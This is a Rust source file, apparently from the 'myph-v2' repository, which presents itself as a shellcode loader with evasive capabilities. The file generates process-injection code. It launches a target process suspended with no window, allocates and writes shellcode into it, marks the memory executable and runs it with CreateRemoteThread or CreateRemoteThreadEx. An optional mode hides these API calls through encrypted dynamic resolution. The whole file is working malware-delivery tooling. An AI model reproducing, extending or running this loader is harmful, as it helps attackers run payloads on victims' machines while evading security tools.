myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
process_injection_common.rs (9483B)
1 use super::super::process_helpers; 2 use super::common; 3 4 pub struct RemoteThreadConfig { 5 function_name: &'static str, 6 has_attribute_list: bool, 7 } 8 9 impl RemoteThreadConfig { 10 pub const fn create_remote_thread() -> Self { 11 Self { 12 function_name: "CreateRemoteThread", 13 has_attribute_list: false, 14 } 15 } 16 17 pub const fn create_remote_thread_ex() -> Self { 18 Self { 19 function_name: "CreateRemoteThreadEx", 20 has_attribute_list: true, 21 } 22 } 23 24 pub fn generate_import(&self) -> String { 25 format!("\n{}\n", common::common_process_injection_imports()) 26 } 27 28 pub fn generate_const(&self) -> String { 29 let params = if self.has_attribute_list { 30 r#" fn CreateRemoteThreadEx( 31 process: *mut std::ffi::c_void, 32 thread_attributes: *const std::ffi::c_void, 33 stack_size: usize, 34 start_address: *const std::ffi::c_void, 35 parameter: *const std::ffi::c_void, 36 creation_flags: u32, 37 attribute_list: *const std::ffi::c_void, 38 thread_id: *mut u32, 39 ) -> *mut std::ffi::c_void;"# 40 } else { 41 r#" fn CreateRemoteThread( 42 process: *mut std::ffi::c_void, 43 thread_attributes: *const std::ffi::c_void, 44 stack_size: usize, 45 start_address: *const std::ffi::c_void, 46 parameter: *const std::ffi::c_void, 47 creation_flags: u32, 48 thread_id: *mut u32, 49 ) -> *mut std::ffi::c_void;"# 50 }; 51 52 format!( 53 r#" 54 {} 55 {} 56 57 #[link(name = "kernel32")] 58 extern "system" {{ 59 {} 60 61 {} 62 }} 63 64 {} 65 "#, 66 common::COMMON_MEMORY_CONSTANTS, 67 common::COMMON_PROCESS_CONSTANTS, 68 common::common_process_injection_externs(), 69 params, 70 common::common_process_structures() 71 ) 72 } 73 74 pub fn generate_init(&self) -> String { 75 process_helpers::generate_load_process_function() 76 } 77 78 pub fn generate_process(&self) -> String { 79 let thread_call = if self.has_attribute_list { 80 format!( 81 r#"let thread = {}( 82 process.process, 83 ptr::null(), 84 0, 85 base_addr, 86 ptr::null(), 87 0, 88 ptr::null(), 89 ptr::null_mut(), 90 );"#, 91 self.function_name 92 ) 93 } else { 94 format!( 95 r#"let thread = {}( 96 process.process, 97 ptr::null(), 98 0, 99 base_addr, 100 ptr::null(), 101 0, 102 ptr::null_mut(), 103 );"#, 104 self.function_name 105 ) 106 }; 107 108 format!( 109 r#" 110 let process = load_process("__PROCESS__"); 111 let mut old_protect: u32 = PAGE_READWRITE; 112 113 unsafe {{ 114 let base_addr = VirtualAllocEx( 115 process.process, 116 ptr::null(), 117 shellcode.len(), 118 MEM_COMMIT | MEM_RESERVE, 119 PAGE_READWRITE, 120 ); 121 122 if base_addr.is_null() {{ 123 panic!("failed"); 124 }} 125 126 let result = WriteProcessMemory( 127 process.process, 128 base_addr, 129 shellcode.as_ptr() as *const std::ffi::c_void, 130 shellcode.len(), 131 ptr::null_mut(), 132 ); 133 134 if result == 0 {{ 135 panic!("failed"); 136 }} 137 138 let result = VirtualProtectEx( 139 process.process, 140 base_addr, 141 shellcode.len(), 142 PAGE_EXECUTE_READ, 143 &mut old_protect, 144 ); 145 146 if result == 0 {{ 147 panic!("failed"); 148 }} 149 150 {} 151 152 if thread.is_null() {{ 153 panic!("failed"); 154 }} 155 }} 156 "#, 157 thread_call 158 ) 159 } 160 161 pub fn generate_template(&self, target_process: &str, function_name: &str) -> String { 162 let template = super::common::TechniqueTemplateBuilder::new() 163 .with_import(self.generate_import()) 164 .with_const(self.generate_const()) 165 .with_init(self.generate_init()) 166 .with_process(self.generate_process()) 167 .build(function_name); 168 169 template.replace("__PROCESS__", target_process) 170 } 171 172 pub fn generate_init_with_dynamic_resolver( 173 &self, 174 encryptor: &dyn crate::encryption::Encryptor, 175 ) -> Result<String, String> { 176 use super::super::{process_helpers, windows_types}; 177 use super::dynamic_common::*; 178 179 let create_process_w = create_process_w_resolver(encryptor)?; 180 181 Ok(format!( 182 r#" 183 fn load_process(target: &str) -> ProcessInformation {{ 184 {} 185 186 {} 187 188 {} 189 190 unsafe {{ 191 {create_process_w_resolver} 192 {create_process_w_cast} 193 194 let result = create_process_w( 195 ptr::null(), 196 command_line.as_mut_ptr(), 197 ptr::null(), 198 ptr::null(), 199 0, 200 CREATE_SUSPENDED | CREATE_NO_WINDOW, 201 ptr::null(), 202 ptr::null(), 203 &si, 204 &mut pi, 205 ); 206 207 if result == 0 {{ 208 panic!("failed"); 209 }} 210 }} 211 212 pi 213 }} 214 "#, 215 windows_types::init_startup_info_w(), 216 windows_types::init_process_information(), 217 process_helpers::command_line_conversion("target"), 218 create_process_w_resolver = create_process_w.resolver_code, 219 create_process_w_cast = create_process_w.cast_code, 220 )) 221 } 222 223 pub fn generate_process_with_dynamic_resolver( 224 &self, 225 encryptor: &dyn crate::encryption::Encryptor, 226 ) -> Result<String, String> { 227 use super::dynamic_common::*; 228 229 let virtual_alloc_ex = virtual_alloc_ex_resolver(encryptor)?; 230 let write_process_memory = write_process_memory_resolver(encryptor)?; 231 let virtual_protect_ex = virtual_protect_ex_resolver(encryptor)?; 232 233 let (thread_resolver, _thread_resolver_name, thread_call) = if self.has_attribute_list { 234 let resolver = create_remote_thread_ex_resolver(encryptor)?; 235 let call = r#"let thread = create_remote_thread_ex( 236 process.process, 237 ptr::null(), 238 0, 239 base_addr, 240 ptr::null(), 241 0, 242 ptr::null(), 243 ptr::null_mut(), 244 );"#; 245 (resolver, "create_remote_thread_ex", call) 246 } else { 247 let resolver = create_remote_thread_resolver(encryptor)?; 248 let call = r#"let thread = create_remote_thread( 249 process.process, 250 ptr::null(), 251 0, 252 base_addr, 253 ptr::null(), 254 0, 255 ptr::null_mut(), 256 );"#; 257 (resolver, "create_remote_thread", call) 258 }; 259 260 Ok(format!( 261 r#" 262 let process = load_process("__PROCESS__"); 263 let mut old_protect: u32 = PAGE_READWRITE; 264 265 unsafe {{ 266 {virtual_alloc_ex_resolver} 267 {virtual_alloc_ex_cast} 268 269 let base_addr = virtual_alloc_ex( 270 process.process, 271 ptr::null(), 272 shellcode.len(), 273 MEM_COMMIT | MEM_RESERVE, 274 PAGE_READWRITE, 275 ); 276 277 if base_addr.is_null() {{ 278 panic!("failed"); 279 }} 280 281 {write_process_memory_resolver} 282 {write_process_memory_cast} 283 284 let result = write_process_memory( 285 process.process, 286 base_addr, 287 shellcode.as_ptr() as *const std::ffi::c_void, 288 shellcode.len(), 289 ptr::null_mut(), 290 ); 291 292 if result == 0 {{ 293 panic!("failed"); 294 }} 295 296 {virtual_protect_ex_resolver} 297 {virtual_protect_ex_cast} 298 299 let result = virtual_protect_ex( 300 process.process, 301 base_addr, 302 shellcode.len(), 303 PAGE_EXECUTE_READ, 304 &mut old_protect, 305 ); 306 307 if result == 0 {{ 308 panic!("failed"); 309 }} 310 311 {thread_resolver} 312 {thread_cast} 313 314 {thread_call} 315 316 if thread.is_null() {{ 317 panic!("failed"); 318 }} 319 }} 320 "#, 321 virtual_alloc_ex_resolver = virtual_alloc_ex.resolver_code, 322 virtual_alloc_ex_cast = virtual_alloc_ex.cast_code, 323 write_process_memory_resolver = write_process_memory.resolver_code, 324 write_process_memory_cast = write_process_memory.cast_code, 325 virtual_protect_ex_resolver = virtual_protect_ex.resolver_code, 326 virtual_protect_ex_cast = virtual_protect_ex.cast_code, 327 thread_resolver = thread_resolver.resolver_code, 328 thread_cast = thread_resolver.cast_code, 329 thread_call = thread_call, 330 )) 331 } 332 333 pub fn generate_template_with_dynamic_resolver( 334 &self, 335 target_process: &str, 336 function_name: &str, 337 _encryption_type: &str, 338 encryptor: &dyn crate::encryption::Encryptor, 339 ) -> Result<String, String> { 340 let init_code = self.generate_init_with_dynamic_resolver(encryptor)?; 341 let process_code = self.generate_process_with_dynamic_resolver(encryptor)?; 342 343 let template = super::common::TechniqueTemplateBuilder::new() 344 .with_import(self.generate_import()) 345 .with_const(self.generate_const()) 346 .with_init(init_code) 347 .with_process(process_code) 348 .build(function_name); 349 350 Ok(template.replace("__PROCESS__", target_process)) 351 } 352 }